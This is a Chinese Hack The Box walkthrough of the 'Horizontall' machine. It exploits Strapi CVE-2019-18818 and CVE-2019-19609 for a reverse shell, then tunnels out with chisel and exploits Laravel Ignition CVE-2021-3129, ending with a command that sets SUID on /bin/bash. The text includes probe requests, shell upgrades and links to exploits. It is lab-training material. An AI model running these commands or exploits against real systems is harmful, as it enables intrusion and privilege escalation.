作者: b1ue
免责声明:本文仅供学习研究,严禁从事非法活动,任何后果由使用者本人负责。
0x01 靶场信息
话不多说,喜闻乐见的信息搜集部分
就开了俩端口,真有你的,瞅瞅80吧
小问题,改个hosts
没啥用,看起来是个静态页面,最后有个提交,发不出去包
扫扫路径,好家伙,也没啥用
开始扫子域名,所用字典如下
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/subdomains-top1million-110000.txt
就扫出来一个,加hosts里看一眼
再次扫路径
0x02 入口
看到特征,优先搜一手,可以看到这个CVE-2019-18818有exp估计就是他了,找一手对应exp
最终搜到了这篇文章
https://thatsn0tmysite.wordpress.com/2019/11/15/x05/
其他exp地址:
https://packetstormsecurity.com/files/163950/Strapi-CMS-3.0.0-beta.17.4-Remote-Code-Execution.html
目标版本是17.4,此漏洞是17.5之前存在
直接用exp打,重置admin密码
检测账户是否存在,不存在,则显示 “邮箱不存在email does not exit”
若存在,则需要需要很长时间才能响应,我这里最终响应504
http://api-prod.horizontall.htb
发现返回了jwt,之后在搜索Strapi rce时发现了此脚本Strapi 3.0.0-beta.17.7 - Remote Code Execution (RCE) (Authenticated)(影响版本3.0.0-beta.17.8之前)(CVE-2019-19609),他可以利用TOKEN_JWT进行反弹shell
大致原理为:installPlugin和uninstallPlugin函数未校验用户输入的plugin到execa()进而执行系统命令。
https://www.exploit-db.com/exploits/50238
怎么刷新jwt令牌:只需要刷新页面,burp抓包即可,Authorization: Bearer 此处为JWT
大致看了一眼,就发个POST包,传两个headers:“User-Agent”和“Authorization”。POST参数 “plugin”
https://github.com/guglia001/CVE-2019-19609
看了一下,应该不是容器内,若是在docker内,则如下图左边所示
有python能出网,先把换成bash
0x03 反弹shell
本来想用tsh拿个稳定shell的,然后发现起不来,放弃了,开始曲线救国
使用 python 来转换为 交互式shell,分为以下两种方法
python3 -c 'import pty; pty.spawn("/bin/bash")'
python3 -c "__import__('subprocess').call(['/bin/bash'])"
但是不能自动补全,可使用stty进行优化
Ctrl+z挂到后台(任务暂停),echo $TERM 获取 term值,stty raw -echo 关闭输入回显
我这里太卡了,还是直接bash操作了
还是直接想办法提权叭
内核版本有丶高,linux-exploit-suggester检测有CVE-2021-3156,但是判断并没有
看了眼gcc,无
所以用其他脚本检测是否可以提权
https://github.com/carlospolop/PEASS-ng/blob/master/linPEAS/linpeas.sh
无果,看端口
curl访问一下此端口
呦呦呦,这不Laravel嘛,几天不见这么拉了
直接用chisel端口转发转出来
./chisel server -p 8001 --reverse
./chisel client htb分配的IP:8001 R:8000:127.0.0.1:8000
找exp
经典的laravel-debug-rce CVE-2021-3129
检测漏洞是否存在
我们发送如下数据包,页面出现了Ignition的报错,说明漏洞存在,且开启了debug模式:
POST /_ignition/execute-solution HTTP/1.1
Host: localhost:8000
Content-Type: application/json
Content-Length: 168
{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "xxxxxxx"
}
}
懒得装burp,懒狗发包法检测,
curl http://127.0.0.1:8000/_ignition/execute-solution -X POST -d @data.json --header "Content-Type: application/json" >> L1.txt
看到如下数据即为存在该漏洞,左图为burp发包的验证结果,右图为curl发包验证结果
直接exp打,游戏结束
https://github.com/nth347/CVE-2021-3129_exploit
结束了但还没完全结束,把bash加个权限,拿到root权限才是真的结束。
python3 exploit.py http://localhost:8000 Monolog/RCE1 "chmod +s /bin/bash;echo done"
hi,我是陈冠希,我遇到很坏很坏的人,公众号点关注300个,帮我回香港,你懂我意思嘛?
0x04 了解更多安全知识
欢迎关注我们的安全公众号,学习更多安全知识!!!
欢迎关注我们的安全公众号,学习更多安全知识!!!
欢迎关注我们的安全公众号,学习更多安全知识!!!